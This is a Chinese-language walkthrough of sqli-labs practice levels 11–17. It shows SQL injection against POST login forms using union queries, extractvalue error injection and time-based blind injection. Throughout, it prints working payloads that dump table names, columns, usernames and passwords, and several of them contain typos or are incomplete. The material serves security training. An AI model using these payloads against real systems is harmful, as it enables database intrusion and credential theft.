【渗透测试】sqli-labs闯关(11-17)

第十一关:POST型的单引号报错注入点

方法:联合查询
输入用户名密码,打开bp进行抓包。
【渗透测试】sqli-labs闯关(11-17)_第1张图片
将抓到的包发送到repeater模块
【渗透测试】sqli-labs闯关(11-17)_第2张图片
首先猜测注入点在用户名上,判断闭合的方式是单引号,还是其他的。用单引号闭合时回显正常。
【渗透测试】sqli-labs闯关(11-17)_第3张图片
用双引号闭合时没用,回显,可知是用单引号闭合的。
【渗透测试】sqli-labs闯关(11-17)_第4张图片
判断列数
【渗透测试】sqli-labs闯关(11-17)_第5张图片
【渗透测试】sqli-labs闯关(11-17)_第6张图片
可知有两列,接下来我们就可用联合查询了。判断联合查询的回显是否正常。
【渗透测试】sqli-labs闯关(11-17)_第7张图片
接下来得到表名,语法:dumb' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+.
【渗透测试】sqli-labs闯关(11-17)_第8张图片
然后爆出字段名,语法:dumb' and 1=2 union select 1,group(column_name) from information_schema.columns where table_schema=database() and table_name="users" --+
【渗透测试】sqli-labs闯关(11-17)_第9张图片
最后爆出详细的数据,语法:dumb' and 1=2 union select 1,group_concat(username,"-",password) from users --+
【渗透测试】sqli-labs闯关(11-17)_第10张图片


第十二关:POST型的双引号加小括号的注入点

方法:联合查询
登录进行抓包
【渗透测试】sqli-labs闯关(11-17)_第11张图片
注入点在用户名上,判断他的闭合方式
【渗透测试】sqli-labs闯关(11-17)_第12张图片
单引号没有回显,说明闭合的方式不是单引号,我们试试双引号,回显语法错误,根据之前的经验,我们判断这里可能有小括号.
【渗透测试】sqli-labs闯关(11-17)_第13张图片
我们试试在双引号的后面再加上小括号,dumb")
【渗透测试】sqli-labs闯关(11-17)_第14张图片
回显无报错,闭合成功。它接下来的注入方法和第十一关一样,这里就不再赘述。


第十三关:无法使用联合查询的单引号加小括号POST型注入点

方法:xpath报错注入
首先我们在登录时会发现下面是没有回显的,因此是无法使用联合查询的
【渗透测试】sqli-labs闯关(11-17)_第15张图片
我们使用bp进行抓包,判断他的闭合方式。使用admin'--+进行闭合时有报错,说明不是用单引号闭合的。但是从这里我们判断可以用报错注入来进行注入。
【渗透测试】sqli-labs闯关(11-17)_第16张图片
我们再尝试用admin')--+ 来进行闭合。
【渗透测试】sqli-labs闯关(11-17)_第17张图片
没有报错,闭合成功。接下来我们爆出表名。语法:admin') and extractvalue(1,(select group_concat(table_name) from information_schema.tables where database()=table_schema)) --+【渗透测试】sqli-labs闯关(11-17)_第18张图片
再爆出字段名语法:admin') and extractvalue(1,(select group_concat(column_name) from information_schema.columns where database()=table_schema and table_name="users")) --+【渗透测试】sqli-labs闯关(11-17)_第19张图片
再爆出数据信息,语法:admin') and extractvalue(1,(select group_concat(username,"-",password) from users))--+
【渗透测试】sqli-labs闯关(11-17)_第20张图片
通过在后面加上where username not in ("","",...),来得到没有回显出来的数据。
【渗透测试】sqli-labs闯关(11-17)_第21张图片


第十四关:无法使用联合查询的双引号注入点

方法:xpath报错注入
这一关也是没有回显的,因此无法使用联合查询。
【渗透测试】sqli-labs闯关(11-17)_第22张图片
我们用bp抓包,判断它的闭合方式。
当我们使用admin'),进行闭合时后面的报错信息告诉了我们他的闭合方式应该是双引号。
【渗透测试】sqli-labs闯关(11-17)_第23张图片
我们尝试用双引号进行闭合,admin"--+
【渗透测试】sqli-labs闯关(11-17)_第24张图片
无报错,闭合成功。这里用admin'--+,来进行闭合也是没用报错的,但是使用单引号来进行闭合在后面使用extractvalue()函数进行注入时是没有回显的。这一关接下来的注入方式和第十三关相同,这里就不说了。


第十五关:只能用延时注入的单引号字符型注入点

方法:延时注入
点击登录,用bp进行抓包
【渗透测试】sqli-labs闯关(11-17)_第25张图片
经过多次判断我们可知他的闭合方式是单引号。
【渗透测试】sqli-labs闯关(11-17)_第26张图片
我们判断它是否可以使用延时注入
【渗透测试】sqli-labs闯关(11-17)_第27张图片
可见,页面回显是由时间延时的可以使用延时注入。
我们首先判断数据库的名字。分两步走,先判断长度,再判断名字。
判断库名字长度的语法:admin' and if(length(database())=x,sleep(5),1) --+,改变x的值即可判断出其长度。
【渗透测试】sqli-labs闯关(11-17)_第28张图片
判断库名字的语法:admin' and if(ascii(substr(database(),x,1))=y,sleep(5),1)--+,改变x和y的值即可一位一位的判断出名字。【渗透测试】sqli-labs闯关(11-17)_第29张图片
有了库的名字之后判断表的名字,还是两步走,先判断长度,再判断名字。
判断表名字长度的语法:admin' and if(length((select table_name from information_schema.tables where table_schema=database() limit x,1))改变x和y的值即可判断出当前数据库中所有表的长度。
【渗透测试】sqli-labs闯关(11-17)_第30张图片
判断表名字的语法:admin' and if(left((select table_name from information_schema.tales where table_schema=database() limit x,1),y)="z",sleep(5),1)--+,通过改变x,y,z的值即可得到所有的表名。
【渗透测试】sqli-labs闯关(11-17)_第31张图片
有了表名再来判断字段名,还是两步走,先判断字段名的长度,再判断字段名。
判断字段名长度的语法:admin' and if(length((select column_name from infromation_schema.columns where table_schema=database() and table_name="users" limit x,1))=y,sleep(5),1)--+,通过改变x和y的值可得所有的字段名的长度。
【渗透测试】sqli-labs闯关(11-17)_第32张图片
判断字段名的语法:admin' and if(left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z",sleep(5),1)--+,通过改变x,y,z的值可以得到所有字段的名字。
【渗透测试】sqli-labs闯关(11-17)_第33张图片
最后判断数据名,依旧是两步走,先判读数据名的长度,再判断数据名的名字。
判断username长度的语法:admin' and if(length((select username from users limit x,1))=y,sleep(5),1)--+,通过改变x和y的值可以得到所有username的长度。
【渗透测试】sqli-labs闯关(11-17)_第34张图片
判断username具体值的语法:admin' and if(left((select username from users limit x,1),y)="z",sleep(5),1)--+,通过改变x,y,z的值可以得到所有的username的具体值。
【渗透测试】sqli-labs闯关(11-17)_第35张图片
把username改为password可以得到密码。结束。
延时注入就是这么麻烦,没办法。


第十六关:只能用延时注入的双引号加小括号的注入点

方法:延时注入
这一关和第十五关唯一的区别就是闭合的方式不同,这一关的闭合方式是admin") --+
【渗透测试】sqli-labs闯关(11-17)_第36张图片
其他的步骤和第十五关一样。


第十七关:在passwd上注入的单引号字符型注入点

方法:Xpath报错注入
这一关我们发现无论怎么在uname上进行注入都没用,本人突然灵光乍现,想到在passwd上进行注入可不可以。结果还真可以。
【渗透测试】sqli-labs闯关(11-17)_第37张图片
话不多说直接打开bp进行抓包,判断他的闭合方式。通过报错可知闭合方式为单引号。【渗透测试】sqli-labs闯关(11-17)_第38张图片
接下来使用extractvalue()函数进行注入,首先得到表名。
语法:admin' and extractvalue(1,(select group_concat(table) from information_schema.tables where table_schema=database()))--+【渗透测试】sqli-labs闯关(11-17)_第39张图片
然后爆出字段名,语法:admin' and extractvalue(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))--+【渗透测试】sqli-labs闯关(11-17)_第40张图片
接下来爆出数据。语法:admin' and extractvalue(1,(select group_concat(username,"-",password) from users)) --+。
【渗透测试】sqli-labs闯关(11-17)_第41张图片
我们发现这里有了报错他的意思是,不能依据某字段值做判断再来更新某字段的值,我们这里的解决办法是嵌套一层select语句。语法:admin' and extractvalue(1,(select group_concat(username,"-",password) from (select group_concat(username,"-", "password") from users))) --+
【渗透测试】sqli-labs闯关(11-17)_第42张图片
又产生了报错,意思是我们需要给嵌套的select语句起一个别名,语法:admin' and extractvalue(1,(select group_concat(username,"-",password) from (select group_concat(username,"-", "password") from users)name )) --+
【渗透测试】sqli-labs闯关(11-17)_第43张图片
又产生了报错,这里我们的extractvalue()函数的语法有错误,它里面应该不能用group_concat()函数,我们将group_concat函数删除,先想办法爆出用户名,语法:admin' and extractvalue(1,(select username from (select username from users)name )) --+
【渗透测试】sqli-labs闯关(11-17)_第44张图片
这里提示我们超出了显示的范围,我们加上limit语句。语法:admin' and extractvalue(1,(select username from (select username from users limit 1,1)name )) --+【渗透测试】sqli-labs闯关(11-17)_第45张图片
我们发现此时无报错,也没有回显出来数据内容。这是由于我们的extractvalue()函数的语法不标准造成的,该函数的标准语法为:extractvalue(1,concat("^",(select version()),"^"))。我们将我们的语句改为:admin' and extractvalue(1,concat("^", (select username from (select username from users limit 1,1)name),"^") ) --+
【渗透测试】sqli-labs闯关(11-17)_第46张图片
我们成功的回显出了第一个用户名。接下来我们只需要改变limit x,1中x的值就可以爆出其他的用户名。最后我们爆出密码,语法:admin' and extractvalue(1,concat("^", (select password from (select password from users where username='admin')name),"^")) --+。通过更改username的值可以得到不同的用户的密码。
【渗透测试】sqli-labs闯关(11-17)_第47张图片
这里不知到为撒只爆出了一个0。。。


你可能感兴趣的:(渗透测试)